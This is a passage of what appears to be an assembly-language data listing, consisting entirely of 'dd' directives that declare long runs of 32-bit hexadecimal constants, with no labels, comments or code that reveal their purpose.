		dd 4BFA6520h, 18807428h, 107BF4E2h, 45017C6Fh, 8D29E930h
		dd 0F0F3FC2Ah, 60DB7143h
		dd 31DD383Fh, 0AF75B9DEh, 0D90DCA00h, 0D4F6440Eh, 1B4B00F9h
		dd 504F618Fh, 9C1BFA7Dh, 0C1588678h, 8BEDD6Eh, 91A86B00h
		dd 0ABA5C020h, 1B0CE178h, 60211E51h, 0C67A1490h, 8721204Fh
		dd 4700EC11h, 207BC468h, 750074FBh, 0F877C8FFh,	18392351h
		dd 284A9CADh, 836030DFh, 53F04B48h, 0C241C0EAh,	0F73184C4h
		dd 44298A00h, 5451F2CFh, 3A020699h, 0A615057h, 0EF16A914h
		dd 5FE2188Ch, 395AA749h, 0D000C718h, 0B78865D2h, 0A201F881h
		dd 0F47D9503h, 6980E711h, 0EBE5615Ah, 7F282822h, 0B88290D5h
		dd 0DF82813h, 0F10071B1h, 618A9BE6h, 0CAD5D16h,	28E2DD36h
		dd 0B262C548h, 10862FD1h, 4915878Eh, 90900Bh, 2D8FAA53h
		dd 220ADDh, 0E478E8A6h,	868352F5h, 0E1D09455h, 0A115EF0Eh
		dd 1B47CC1h, 1A25346Fh,	0BC5162FEh, 90107802h, 0E1834D60h
		dd 8841A3ABh, 3C40CE9Ch, 1DCA57DDh, 7D12A0Ah, 50666FB1h
		dd 4B70D65Fh, 0F0003491h, 78EF2FD5h, 0B062308Fh, 48795D51h
		dd 5EFC5954h, 0AAB8144h, 2962B640h, 48F947C0h, 3131C00h
		dd 1E815B16h, 8307312Eh, 0AA22FC42h, 1AF0E000h,	0EA01C40Fh
		dd 0AC8344C0h, 8CEE303Fh, 7168A17Eh, 84E0546Eh,	0C3DA00E3h
		dd 617F08F5h, 0A905F322h, 2CD4E29h, 84CBBC44h, 0E50CF542h
		dd 1099A091h, 7D9AA8CAh, 8DE10035h, 5EDCF9ABh, 0DE0CB091h
		dd 2860347Ah, 784A64C5h, 0FB8A43EBh, 36FB8BAh, 567F005Ch
		dd 5F210F11h, 0F508F3D2h, 1832F1B9h, 830289AEh,	1BE9F088h
		dd 117BE2A4h, 4537BAB0h, 700EDC01h, 0FBECE035h,	900CC4F4h
		dd 8771D5Bh, 66E0AAB9h,	59729097h, 0B2285A12h, 6CF01042h
		dd 0DC0720EAh, 0E00D7D0h, 0C679FC21h, 0EA2BA4CCh, 0EC9C2847h
		dd 171F02FCh, 0DF5AA6Ch, 0DF147C44h, 40544E01h,	792A8E2Ch
		dd 5D06987Eh, 3C1C5603h, 2A70A491h, 19F4F135h, 51F9F8F5h
		dd 0F5442571h, 9997124Ah, 30A97EA8h, 0BD218184h, 0EC359D08h
		dd 70007B73h, 0E041D2A4h, 9298B3A7h, 7C6C2260h,	81639013h
		dd 2A803832h, 790B8C44h, 7A018C11h, 26C5CBA1h, 1447759Ch
		dd 28925B84h, 102D2778h, 40EFF0CAh, 11F788A4h, 2023F6F5h
		dd 0CAE89A22h, 300C0E2h, 935FB92Ah, 3C968653h, 8EB2B775h
		dd 0F4207761h, 18BE5145h, 0D1A287D9h, 3A8476CFh, 84149F6h
		dd 60781CACh, 89E10C88h, 8103FBC1h, 0E8F71C46h,	0F9317403h
		dd 6DE07F10h, 0D020E351h, 2C128697h, 90016B0h, 46E7D96Ch
		dd 35BFCD6h, 71DEFDBFh,	310052E3h, 0B369EC47h, 72CB81Fh
		dd 89AD83F0h, 381E51D1h, 31B9DD98h, 10F40D5Dh, 5FDCE074h
		dd 7AE5A606h, 0E2C16A65h, 0F25A88E2h, 0DD01A8F2h, 0D3F48AACh
		dd 3822CFFBh, 0CA585701h, 9E414816h, 6F005A61h,	0F8420777h
		dd 7C6302DBh, 0FDE6D4A2h, 0D1247884h, 7BF3D0h, 0E4871Bh
		dd 0E308D088h, 0C13C977Eh, 4A0D749h, 5A1833ABh,	9C6460D1h
		dd 87EDE211h, 8F7C4541h, 0E3A88310h, 0C70279F4h, 0D0261F88h
		dd 0EB23A531h, 0ED7D330Ah, 0DE91F458h, 0E9E20800h, 32D1D8DBh
		dd 217EF06h, 2AE0DDA5h,	1FF8770Bh, 845F60BCh, 0F4C8369h
		dd 0CC919B6Eh, 8B7A6C8Ch, 0F168186Dh, 0B30E020h, 5275CF8Eh
		dd 23D54F05h, 41BEC1A0h, 0CEAFB201h, 0C785476Ah, 0C601E1D4h
		dd 498E0B29h, 0DB304201h, 205A3B3Dh, 0C30A9CF8h, 4EF79090h
		dd 24E27124h, 63EFFE40h, 782200C2h, 9C03D4C0h, 93018A7Ah
		dd 0FB448F07h, 0AC5138ADh, 9C108463h, 70D474CDh, 826BC8FCh
		dd 8AD7025Bh, 918DC880h, 0A448CB81h, 0EF34C2E0h, 90928942h
		dd 71A23048h, 0B5C022DFh, 1D673A07h, 99803558h,	89A2EBh
		dd 91C32C5Ch, 0A3AA72EAh, 0FCF88E26h, 20014ABh,	0D6C27CF6h
		dd 0B84E0233h, 0DB78ED0Eh, 308CDF04h, 699C801Bh, 0CE40774Ch
		dd 0F431934Ah, 318081C1h, 5D5A5B32h, 4B13B0E8h,	0A4042FEFh
		dd 0E34B9B63h, 0C7B38C10h, 3B9A6C1Dh, 14685900h, 33283B8h
		dd 9C52BF65h, 71058473h, 0CDB636D7h, 78E055h, 623D8AABh
		dd 0C09117C2h, 5D6EFC29h, 958B9C8h, 14240091h, 5898A87Ch
		dd 9783128Ch, 0AEAC2151h, 289040F0h, 6492D521h,	0D4AA6A78h
		dd 93D07C10h, 60C1DD88h, 826C982h, 0E90087A6h, 8618EC53h
		dd 0D13D89h, 0E6DBA213h, 833CB48Ch, 91050F16h, 830E017h
		dd 0DD5561h, 9619BA66h,	0DFD27E72h, 0D2C9C01h, 4F265281h
		dd 85E1C11h, 0ACC80BF4h, 0B5892762h, 57F55890h,	897E8416h
		dd 80885C65h, 90460928h, 0BC907A87h, 0DD889575h, 70B1C0h
		dd 38D15E42h, 43F6F08Ch, 3A0B6B0Fh, 0A3A8C1C9h,	1BF46DE4h
		dd 6A9C195Ah, 58D64180h, 1E0FE8C8h, 84543AF2h, 0C8CDCAE6h
		dd 70B32092h, 20753614h, 3401720Fh, 0CC27AA2Ch,	12FB34A8h
		dd 919C807Eh, 1FF8BBE7h, 4E57D490h, 0A98FE90Fh,	83EC586h
		dd 0B91D8FF8h, 84439355h, 3CB718h, 928D3418h, 972608Eh
		dd 8070CB39h, 442BE358h, 0C1D33529h, 0D2503648h, 7A3C01A8h
		dd 836108B7h, 7900E01Eh, 100196A6h, 37594489h, 6360A4AAh
		dd 313C8F62h, 0D7D600FEh, 0B3256F6Ah, 18BF63E4h, 1EE02D31h
		dd 3D1E4E97h, 30207E52h, 0A569CE4Ch, 8CB82F6Eh,	703D3831h
		dd 79878E3Ch, 46D765A9h, 0CF60900Ch, 85B534A8h,	0B72C0F56h
		dd 49784C04h, 4D3C516Eh, 8E848986h, 0EA430064h,	7CB41BE3h
		dd 0AA6A18E9h, 0EF28E907h, 0E6A1D261h, 0F98DA4BEh, 0FC79BC41h
		dd 9501AF6Bh, 75ABEB6Ah, 3FC77C0h, 844A0134h, 0F73ED07h
		dd 442CE48Ah, 0C0587A50h, 5243FA80h, 3B22D4DCh,	4FE29326h
		dd 2980C01Eh, 0A0D2F060h, 0DC1E309Ah, 3864F141h, 0B7378100h
		dd 0BD63A4D6h, 169F826h, 426723D7h, 997C02A9h, 5C60C1B0h
		dd 2E40708Ah, 88A80E8h,	914C487Bh, 6118490Ah, 0F5844C58h
		dd 0C840C24Bh, 6112C98Fh, 0E3EF8302h, 0A58E8C04h, 68308690h
		dd 9128009h, 2BF6EA3Fh,	0D26E1C11h, 23BD7422h, 6100E64Ch
		dd 0F2017D11h, 1173B7Eh, 1F93C320h, 8C5136D0h, 410FCB39h
		dd 0FCA04561h, 21C64842h, 89DA1Eh, 46AE5B8Dh, 44330794h
		dd 18C35F28h, 11744D21h, 19E007DDh, 0D8043BAh, 4788Eh
		dd 0ABB626BEh, 8A1B8324h, 0B703B903h, 22CB25F9h, 0E43791F0h
		dd 0B183C1AAh, 0C900D727h, 1C332BAFh, 0CCE4BCE5h, 0C31A7D8h
		dd 0BB50B800h, 1ECEC993h, 1681C0DEh, 5D8DC8CCh,	46601000h
		dd 0D6652703h, 0F3E90921h, 34103FD5h, 90F715Ah,	615B2548h
		dd 0AD7737BBh, 0FD9ECh,	9C2640B2h, 4DB801FEh, 0BE56FC02h
		dd 46603CCEh, 214C43E0h, 4DAC0029h, 0CEC87634h,	6901A893h
		dd 0A8CB1FC0h, 9640108Ch, 0AF1D8319h, 8C004CFEh, 2C320D8Fh
		dd 0BC3E0047h, 585C2BD8h, 7F7E1FD6h, 809339C8h,	5C59C017h
		dd 25004F2Ah, 0D1D7CB66h, 5086863h, 0C51B9829h,	0EEA84047h
		dd 0B7FC3C5Eh, 1431C400h, 0E54478D7h, 1F47FCEh,	742794F3h
		dd 40DB6E43h, 23413158h, 0DD4C6A15h, 66011FCCh,	74CE3800h
		dd 0B8300277h, 9EF60085h, 534B4916h, 0E4000A08h, 0F1A2238h
		dd 5DE46ACh, 933F1D2Ah,	4D9C2139h, 0B7998056h, 8F38D907h
		dd 0C445187Ch, 0A364193Dh, 35F13000h, 0FD56E5E6h, 83AC1EB1h
		dd 7058DEE3h, 0F0542691h, 0D540920Fh, 0DB48034h, 63C580AAh
		dd 3AC4786Dh, 0BC6A5100h, 6F2EAEDDh, 0AFE6E3h, 45C5244h
		dd 4B1AAC74h, 0C83420FDh, 0D5E3F505h, 7C400907h, 75BE74B6h
		dd 9D5B00BDh, 0ED5C559Bh, 0EA3C1D89h, 905E8084h, 76F7744Fh
		dd 63E30049h, 0EB988353h
		dd 650210D5h, 0D90FD345h, 7C8A9D2h, 6410E5D8h, 48E49518h
		dd 0BD8024C3h, 0D36A7E2Dh, 0E7D0C006h, 540A958h, 0A7661157h
		dd 3AD0201Eh, 75082506h, 81E74BBFh, 88B9998h, 0C1C6D85Eh
		dd 2748D00h, 0E92EFDBFh, 21112C05h, 0AC89402Ch,	190F74A0h
		dd 0E0246332h, 0FB53E751h, 0ACFA80C3h, 0D559CC61h, 10222ABEh
		dd 0C9C43018h, 9700F6D4h, 98E8FE7Dh, 0C843EAh, 2F33925Eh
		dd 0E5AFC0B1h, 64302704h, 0C09155D6h, 1C625908h, 0C0CE871Ch
		dd 0EC2E7D3h, 6C0095BBh, 0AFFCB061h, 292C6885h,	6844FCEh
		dd 79404B36h, 82BC4A1h,	1987F168h, 33310CC0h, 0E916F61Eh
		dd 6EF0C68Ah, 153600A8h, 0BC5C5A4Ch, 8E077010h,	2BDED0E6h
		dd 0D464E970h, 317E0028h, 0A07B61Dh, 65E8F283h,	0BE0C25F0h
		dd 6941C42Ch, 0B9BB0034h, 0DAB4AF53h, 0D0294CC9h, 0C50AF0D8h
		dd 0EE80E8D4h, 0C3357119h, 19AD7B08h, 0B82DA49Fh, 0C158E3FAh
		dd 0DED81034h, 42D7B484h, 80405622h, 15609474h,	48590CCh
		dd 0D723C739h, 83488C9h, 39C04C74h, 0DA86C2F1h,	1DCE76CDh
		dd 83F251D0h, 0BCC9B532h, 0B0A47F98h, 0B6BF4D01h, 6F3F3572h
		dd 0EC8EE432h, 628E00D3h, 44EFC2B7h, 61289200h,	0AACD9753h
		dd 90147D83h, 5507200Ch, 802C4B5Ch, 6C3E2872h, 70755856h
		dd 0DCD6E50Ah, 17CD9170h, 2408B634h, 0D23D80E8h, 0CF1652F5h
		dd 9AB2850Eh, 8ACDE0D3h, 125DEA3Ch, 325BC82Ch, 0F4981D44h
		dd 44EACA42h, 1A19B200h, 0BD707274h, 2422002Ch,	3A6401A3h
		dd 70BB435h, 1854E752h,	0B9333124h, 0D69E80B8h,	3DDCE7C8h
		dd 7C53700h, 0F68F68EEh, 0D1E1C5A1h, 4E1CCCD2h,	2A032DB8h
		dd 8A28AA7Fh, 0D1E7A041h, 27F900F1h, 0F4A4177Eh, 46132182h
		dd 4C095F74h, 0D51413D3h, 0C1B5BC40h, 524F20h, 0CCB17AEEh
		dd 34B74C2Ah, 26C96605h, 3884074Bh, 0FCE90C8h, 0E4E6304Dh
		dd 1E32861Ch, 177491F7h, 184F5807h, 0BCD03928h,	2E5075h
		dd 5F6EE7F7h, 7A95B7A3h, 0D55065F7h, 663112BDh,	9E550098h
		dd 1DF9A598h, 290E6027h, 223226D8h, 69161208h, 0E710AB10h
		dd 0F0A646BDh, 0B9C5DF44h, 0D9380028h, 0B563DE76h, 516E3Bh
		dd 3ACBC281h, 1D03C21h,	6A897477h, 308EF44Dh, 51C2E344h
		dd 20D32D40h, 9A5A7F08h, 0F9C98206h, 19D1ADh, 0BA968C34h
		dd 0EA8DB6B9h, 0F9D3E205h, 10052CACh, 74C83F22h, 6BF6B4h
		dd 887AAECAh, 0BC0CF9B9h, 83CD3Fh, 69E3BF3Fh, 2E35DD95h
		dd 50884166h, 0F000B9FBh, 0C4426F7Eh, 3266A9A5h, 0CD70B7D6h
		dd 40AF1E22h, 9A470D1Ch, 1810F804h, 30CCA74Ch, 59C043C4h
		dd 87B88E0Ch, 0BA0A3F9Fh, 66D54880h, 9C193231h,	0F7F84AB0h
		dd 0A1FC431Ch, 89B8DB54h, 0F56010C1h, 597B694Bh, 383FA882h
		dd 0F4EA98A1h, 2FA4DCBFh, 3063C502h, 0C628442Ch, 594121C4h
		dd 10C55289h, 0B17000h,	45DDD883h, 448E61AEh, 892B9800h
		dd 1C4C316Bh, 82E31230h, 694C0B96h, 85B76010h, 80A0897Fh
		dd 0CE04B3BAh, 0D6E63108h, 147DF4A4h, 8C1F2C06h, 0C5446F80h
		dd 98B93261h, 312EBC11h, 2F406E08h, 8772F552h, 6BE56300h
		dd 8FACEBE0h, 0BFE402A7h, 54E91AC0h, 10E54469h,	3F8E2Ch
		dd 849A2129h, 8694EC8Dh, 0F8CC6C24h, 41AAA160h,	0AB4D03AFh
		dd 2B5FA7C7h, 0F8D22E0h, 0E0FB3F7Bh, 5C5C3CE7h,	0A0604AFCh
		dd 2D27110h, 5486F582h,	1844C3E3h, 8C0EFFFEh, 67C915BBh
		dd 69B0DFEAh, 0B93FCFA4h, 6726E0h, 0B1C93E72h, 79004948h
		dd 6DF942Fh, 0F0B66AA5h, 5BD358AAh, 40983F2Eh, 0AF6508CFh
		dd 0A4C29494h, 3C840FC4h, 320B25Bh, 964CB537h, 6285A13Bh
		dd 991AA030h, 4D3508D8h, 0B2628A4h, 0E6F13C18h,	49176253h
		dd 7882B9FAh, 9C66D9E7h, 0CF19BA09h, 0B7BB00F4h, 0EA328424h
		dd 0C01152F9h, 400CC524h, 0BC861E6Eh, 1AFA630Bh, 3A6C0427h
		dd 7C8A9840h, 4B00C7EEh, 0A7C80F0Ah, 2789EA5Eh,	0C0211E46h
		dd 0C80223B6h, 0E624730Eh, 0EB004058h, 0D5785B4Bh, 56EF8A6h
		dd 0FF9D7CDh, 0E7984512h, 925840BCh, 0C8283CB5h, 986690AAh
		dd 0FA417B00h, 0AE246FBAh, 0E56600D1h, 0AB4ED094h, 0D418D802h
		dd 15D09AB8h, 0B48682A9h, 5B0049A1h, 130D48E4h,	3CBCF12h
		dd 146F4DB9h, 60AFF36Dh, 962F57Dh, 1AB11116h, 0B08DE833h
		dd 48228763h, 0EB3FA426h, 9A31B9BAh, 8A160A8h, 0D6FA88C2h
		dd 0A6303E00h, 3426EB09h, 0D20206B0h, 0E9AC54E5h, 0D61C4050h
		dd 0DC975D00h, 98CB2072h, 0B22D00E4h, 0EEC2D8CEh, 0BA0E7B63h
		dd 0A130CDC6h, 0D21EA9FBh, 21EA2021h, 207D9211h, 0F32C50E4h
		dd 1E0C8047h, 0AD6905h,	6CAF6BBh, 62AB3FFEh, 0D2EB407Fh
		dd 42022079h, 0EAC6DBBAh, 0B6B46050h, 2C640762h, 49C03ED7h
		dd 0A00DC64h, 2501CC98h, 328F7FBh, 2F03A9BDh, 40C50EFAh
		dd 0F010B080h, 454A4E35h, 325F0444h, 68465022h,	0E6EB8D12h
		dd 0D9B5B804h, 0F2C090C0h, 44D498FCh, 80FFC52Ah, 4E33D31h
		dd 1853270h, 5F225363h,	2C71D124h, 74144024h, 7D677300h
		dd 0BA8B5EAFh, 639D001Eh, 3608CCD6h, 0C0A60196h, 0E3722C00h
		dd 0EED775E7h, 0B4AC03DAh, 0ADF1D909h, 0B85456E0h, 0E008402Ch
		dd 4C16A028h, 34211F89h, 0EC8AB31h, 0B9ECF5E3h,	2C5C3862h
		dd 0F1384018h, 0A1CFB22h, 0C8C9EA0Ch, 0BAB48565h, 85ACC48Ch
		dd 0D8413280h, 0C2F628h, 0ED8E2AA0h, 6252F74Fh,	98609102h
		dd 6EAC230Fh, 80EEE830h, 8AF0B533h, 249AC318h, 90BB638h
		dd 26B195BAh, 0B222E087h, 209CD90h, 0C44017CAh,	0EAE80038h
		dd 8A45D575h, 0BD04B851h, 0ADFA0D2Fh, 24E708B4h, 8030AA55h
		dd 0E0D9E409h, 4D34BA0Fh, 0B4C761AEh, 2E40D024h, 0D18087D6h
		dd 29B2F1E7h, 0B923099Ch, 0E6E0985Fh, 13249952h, 0B8E42040h
		dd 7D00FAD5h, 19182FF7h, 5299F6Eh, 217C55A6h, 2D748007h
		dd 0E104E45Eh, 2B82B774h, 0EEBC20A0h, 29A8B071h, 0F83CAEh
		dd 10016B19h, 93006D62h, 0B0CEB411h, 1C5D0CBEh,	0C1AAE9CAh
		dd 10E4049Fh, 6536D0B9h, 8C30495Ch, 71F912h, 2A0D9F9Dh
		dd 0BFCD99F0h, 85658004h, 90F7FCEAh, 0E1F19018h, 4484DD53h
		dd 0B80E373Ah, 0C00AC77Eh, 64938CEDh, 0CBD913FFh, 0C4C0C27Dh
		dd 10913461h, 24528CE4h, 2D8A087h, 3A53366Ah, 8A8048DBh
		dd 4DE8CBB8h, 0A60A005Eh, 74499CBCh, 0D609681Dh, 2FCA3FE2h
		dd 0B26420F8h, 279B174Ch, 0B41093B6h, 896C1E6h,	4167AB44h
		dd 39D8E661h, 24092674h, 5C07CE01h, 0E448211Dh,	20290086h
		dd 0ADF6A0E5h, 50009144h, 85D18798h, 0B8B995A9h, 0CE564470h
		dd 5490C009h, 10A8C857h, 407D4A66h, 4F4CB784h, 0E14F6338h
		dd 8F50004h, 49C07890h,	44BB0117h, 308D15B6h, 0BA6C7011h
		dd 9A0F91F0h, 26C0375h,	0E2D7D2D9h, 9E305174h, 13ACA610h
		dd 0D68C308Dh, 0EA2072E9h, 0E82307F3h, 57386BDAh, 0BE6AD0B5h
		dd 662907ACh, 0EE80BCA7h, 0E98228BDh, 77EA13FDh, 0FA50C808h
		dd 0CE78F51Eh, 0A1632B00h, 5F11Eh, 15466BC4h, 4D274071h
		dd 44693516h, 0F8246020h, 0B0CB8C4h, 0C822D87h,	0E026D891h
		dd 0E81232BEh, 540BB72Bh, 54448A50h, 10C900Fh, 1DF9B1A7h
		dd 813C8142h, 1E4C076Ch, 83F444F0h, 0A107FABBh,	14DE4921h
		dd 203B55D0h, 0CE7071h,	7F243F8h, 802F464Fh, 422E1800h
		dd 5D416E9Eh, 0D46B1DECh, 0C0C61E5Ch, 0AEEF4ABDh, 5B014C45h
		dd 3B9CE9E5h, 21804D32h, 391A1675h, 0E80036FEh,	4C840D4Fh
		dd 379E5E6h, 7FBC68EBh
		dd 59114BC9h, 287141C1h, 743860A4h, 478888AFh, 11538130h
		dd 366EFh, 0E254713Fh, 7FF0A5C2h, 2042C830h, 0BC5BFDh
		dd 845EEF41h, 7C8277B2h, 0CFCDBF07h, 9F60E3A4h,	1076F93h
		dd 54ECBCA3h, 60F256FCh, 6A24BBF1h, 3C06D5B3h, 75714CE0h
		dd 9689C01Ah, 0CBD0C056h, 0A99E3D00h, 0F6520F5h, 5A4E0006h
		dd 18B4732Ah, 0DDB0BDA6h, 0C8BB2300h, 0CF1E9A2Ch, 5854016Ah
		dd 0D2449F67h, 0C1AC4882h, 0F50394EEh, 0D73D799Ch, 832AE19Bh
		dd 208355DDh, 0EBDB1966h, 484E8007h, 2220DCCFh,	51479h
		dd 0B59B532Dh, 4E8A862Ch, 766082Ch, 5D301D19h, 380BEC0h
		dd 13FA6B2Fh, 781829D1h, 0A7215524h, 0E170B5CEh, 0D9928000h
		dd 9FE278B7h, 8E9C0B28h, 798C47BCh, 9A0A2FC8h, 0B4C4D14Ah
		dd 0BF893087h, 0C2548AC0h, 4C51C323h, 40ADD66Bh, 4495BB98h
		dd 78A8BC5Ch, 0C002AA5h, 0FB866281h, 0F34296h, 1D22D0B2h
		dd 8C66AD28h, 0BBC8BA01h, 19AFB18Ah, 0CB4030E3h, 2D484A79h
		dd 1E139103h, 0C826B5B1h, 720FF06Ch, 79DC06BCh,	912025D9h
		dd 0EB9F3Bh, 8B7E46C1h,	53BAC9h, 0A909AEC7h, 2E66D50h
		dd 0E0BCEC00h, 2ACE9B66h, 0D70E0085h, 877358E1h, 2C01727Ch
		dd 673A1565h, 0BC70AEE7h, 7D47184Dh, 0CAB91940h, 0D9536100h
		dd 12E7702Fh, 0EF96392Dh, 6E9CC300h, 1804F950h,	0F7FE2900h
		dd 4DE73B92h, 1865F03Ah, 49211666h, 0EF06FE11h,	14E31A2Ah
		dd 1C9B020h, 4A5CB050h,	0D31F7362h, 0E903397Ah,	2D6D9142h
		dd 8994B01Eh, 711F3772h, 5DBAB021h, 95E612F6h, 5944D601h
		dd 4BC1D7Bh, 2893AC00h,	0D56A78C0h, 3F8D0FBDh, 0D69C80B7h
		dd 0A5B040FBh, 97557E1Fh, 9110BC30h, 0DF9BCE7Ah, 0B9A21B39h
		dd 62F1EDE0h, 11711937h, 43FDD600h, 6E3900B1h, 0DDD5E06Dh
		dd 67585694h, 911A0196h, 78B088D1h, 0AA3B2E4h, 852301E2h
		dd 0D2FB0FC0h, 614F7206h, 0D6C10A01h, 8EE8BB39h, 7631C8h
		dd 1A2F191h, 5D07BCE5h,	81CFA001h, 3E176588h, 7C1A398Ch
		dd 0AA777891h, 25CFA300h, 21A461BDh, 7A140A89h,	8CF012F9h
		dd 5739177Dh, 34B02900h, 75889048h, 0A6DD01D3h,	614B97FBh
		dd 449D606Dh, 7860BFEEh, 79938561h, 0A9290C3h, 10623BC1h
		dd 46749DC4h, 11641C4Eh, 824DCF00h, 0AF3E02E2h,	7851D17h
		dd 95F640E1h, 67908101h, 600A789Dh, 9153039h, 686F9F04h
		dd 1C20B240h, 0FD9A71Dh, 208C417Bh, 2B645E81h, 50B9F5EAh
		dd 633C3AD0h, 660D1891h, 8C02E9BBh, 284207Bh, 0DF0093A7h
		dd 4C1D04Dh, 38073DF3h,	0AD861D50h, 519EABE9h, 2314FA16h
		dd 0EDD20907h, 0DE0410C9h, 0F62D01C9h, 0EE1DAC03h, 7B88826Ch
		dd 7D8388C3h, 40E4D641h, 22679444h, 2FC9950Eh, 37AB2682h
		dd 0DABF00E9h, 4FCB268Ah, 216E3F3h, 8D073BBDh, 71800CFDh
		dd 7708BFEh, 9B1AA1FCh,	0C97A0692h, 5045F101h, 0D1BF3E8h
		dd 32F360h, 0D60C385Ch,	7D22E9E1h, 868DD703h, 0C8651373h
		dd 0A83D7274h, 39689388h, 7E00B638h, 3BDACA9Bh,	0DF3EE385h
		dd 0EFC203D2h, 0D9DD73D4h, 0C9804963h, 31D0FC75h, 23607250h
		dd 0AC27F749h, 4B5B0703h, 8981C708h, 0C311C805h, 75839A3Bh
		dd 4DC8B100h, 4EEC952Fh, 7B020069h, 0F4624406h,	7E00F9E3h
		dd 437FAACh, 2899DD2Ah,	0F1C7419h, 9218DCF6h, 0FB80ED29h
		dd 0B1988016h, 36AE4A30h, 197E573h, 0F0BB6019h,	0DDCF77EDh
		dd 5418E79h, 0D966843Bh, 0D69B9680h, 0B78C040Bh, 8CB865B0h
		dd 4286E71Ch, 2230481Ch, 0D7380064h, 0EB7ACDF1h, 310F2008h
		dd 35922E7h, 22F5A1EFh,	89142550h, 0A8824E9h, 0F82AAB8Eh
		dd 2FD4A480h, 0F4491Ch,	0EEBE9359h, 0A8821DE2h,	0D303D00h
		dd 0F88DA286h, 8049D410h, 7E7D4B22h, 71A7AA03h,	0B80BFCEAh
		dd 4CDBBEDEh, 642824EFh, 0F7624418h, 0D748B20Eh, 0C0792FAAh
		dd 0E5BFEBE8h, 0DCF402A7h, 146F856Ch, 0F922D064h, 1375004Ah
		dd 0E552D6FFh, 0B209F682h, 18B8E99h, 0E1B8EA24h, 0F1107082h
		dd 606820C3h, 6201FC0Fh, 7426D397h, 3430E793h, 32448469h
		dd 982101F4h, 0DD5B193Bh, 0A046A037h, 1DE6A600h, 7DAEE2F7h
		dd 770B7B23h, 0CBD0ABC8h, 0B5413931h, 0A8B6D00h, 0C5E432E8h
		dd 1803C300h, 872726B2h, 7085007Dh, 52C70FBAh, 0CB1C9E6Fh
		dd 7E1099FBh, 5E382900h, 0B7D4516Eh, 340AE606h,	1DE8FF3Ch
		dd 981CD5Bh, 0E004964Fh, 0B966434Ch, 2C816526h,	120C0410h
		dd 761A4634h, 71C60061h, 0D13FE14Bh, 7F001277h,	5167E0FDh
		dd 27FBEEh, 0BAA73C2Ch,	19094C8Bh, 0F30F7CB1h, 70A283BDh
		dd 0FE80FCC4h, 97A7D7Ch, 196715EAh, 23F1EC90h, 0DF989903h
		dd 89817703h, 627270h, 609A3200h, 0C2D352B5h, 0B444C300h
		dd 0EF2AF7AFh, 66E50574h, 439EC77Dh, 47EBFCACh,	9F437A5h
		dd 0CE2F090h, 0D0D7E700h, 321F0E23h, 28BF98FAh,	0E94778Ah
		dd 3B7261E5h, 0AC51F27Fh, 0E3006C64h, 0F2BC0598h, 0A42557h
		dd 43D4D632h, 0F502A084h, 40992932h, 416E047Dh,	1E07BA78h
		dd 0E14C91D7h, 1C898C40h, 0BCB8A848h, 61DB005Bh, 1AF00CC9h
		dd 361DE1F9h, 8A80D6C4h, 62653992h, 0A55500C5h,	0E5494C48h
		dd 0C7377288h, 10699902h, 1CEEB744h, 0E733Dh, 2FCDABBDh
		dd 7D006274h, 23BAAFFDh, 412DC78h, 6F9084F4h, 0DB688102h
		dd 2025123Fh, 69335BE7h, 0C485F72Ch, 0A2002611h, 4B253C12h
		dd 0F0EF2A9Fh, 0E0C37423h, 0DC1E6606h, 641A4892h, 1C7D7190h
		dd 404B73C0h, 0F6DFFEDh, 943AF11Dh, 80A5828Ch, 0A1836F93h
		dd 1567A290h, 9FFA7200h, 40209491h, 0D15EDF03h,	0D112CEC4h
		dd 0C8962A13h, 0C8B4047Bh, 9497430Fh, 6448A470h, 667B6980h
		dd 4C9B8h, 3C80C5F9h, 0FF19958Dh, 261BA316h, 217AE10Fh
		dd 79BFBC93h, 0AEF19474h, 81050B44h, 7E05452Ch,	88F48595h
		dd 321E2D78h, 702CDB48h, 0D16D1B80h, 0C4F97D71h, 92C01589h
		dd 1A078A34h, 5C7D183Ch, 0AC184CFCh, 58062934h,	9A5C5Ch
		dd 0B73C8963h, 7EFB0D5Dh, 169604AFh, 861EA8DBh,	3A00A1A8h
		dd 36A49C47h, 5850AFDh,	7C975673h, 0E6A80527h, 0EB902007h
		dd 0E53D78A2h, 96BC9CA8h, 9813E78Ah, 98004791h,	20F28D9Fh
		dd 0E0506EBAh, 64449CD0h, 0AC991Ch, 77255D85h, 0A900C236h
		dd 86607BD5h, 14A05ABh,	31D2E582h, 0E726613Ch, 0E0AC3039h
		dd 2D324F89h, 815C3F42h, 75D81401h, 0E0DD4B7Bh,	78C8D42Bh
		dd 560119Dh, 398FFE3Ch,	843384C8h, 3D7744h, 0C4995809h
		dd 0AEC919C8h, 591CE716h, 0B442531Dh, 0C47D09D8h, 4630EF4h
		dd 49A7F545h, 88A27580h, 40917A3Ch, 0AF829A80h,	0C832A84h
		dd 0D5ECA6E4h, 4E53130Eh, 69860398h, 26F19694h,	2924F630h
		dd 85E50018h, 52A0D8E7h, 0C417662Ch, 60918B44h,	4024E914h
		dd 0C8A850E4h, 40D1D4AFh, 6D04F16Fh, 6C68C286h,	9785C50h
		dd 8561E409h, 59E406ECh, 979A1929h, 201C50EDh, 189A9967h
		dd 90722A45h, 0EBE5007Bh, 880D5A8Ah, 3517AAFBh,	5430E955h
		dd 98CA94DEh, 87F63EA0h, 0F87FC800h, 0D86DB3CCh, 16293E00h
		dd 1B6EE3A8h, 8050B99Ch, 6B270DCh, 9E1C59E7h, 0A4C003AAh
		dd 1165883Bh, 0FCA88B21h, 8C486607h, 4B022250h,	5F18407Dh
		dd 17C47E76h, 0F6575900h, 0BCCB367h, 0DD4150E4h, 33D7760h
		dd 7384D713h, 0EEA8889Ah, 41CCA893h, 1BB1829h, 9713E9ADh
		dd 116B2A5h, 4237B85h, 0C9F4C807h, 53DB42EDh, 0BBAFBCE0h
		dd 0E34F9309h, 9AB068ABh
		dd 6D7400E0h, 67029730h, 48F2F93Dh, 1041EC0Fh, 9C297F24h
		dd 20701C09h, 764EB60Ch, 41960002h, 0DA646AD7h,	7B2412FEh
		dd 85603813h, 1DAC69CEh, 6EE5710Eh, 0C42428F1h,	8C8F53EAh
		dd 571BFF34h, 0C2282D0Eh, 0DD0E08Dh, 401D8964h,	3E43BA3Ch
		dd 8780603Fh, 4CE83877h, 0A7662F40h, 908A3CD7h,	0F1844100h
		dd 4A5DCAA0h, 10489C4Ch, 7C4C3A1Dh, 5E2049C1h, 0A2F640F6h
		dd 0C0006A23h, 80F3B899h, 1FEFBC8Dh, 0FF658AB3h, 13C8285Ch
		dd 0C0747D94h, 55452D73h, 9D4B075h, 0A393FF51h,	81DD891h
		dd 0BEE800ACh, 0E0E6FE17h, 0A70F7498h, 2092F675h, 0E4DEF1F2h
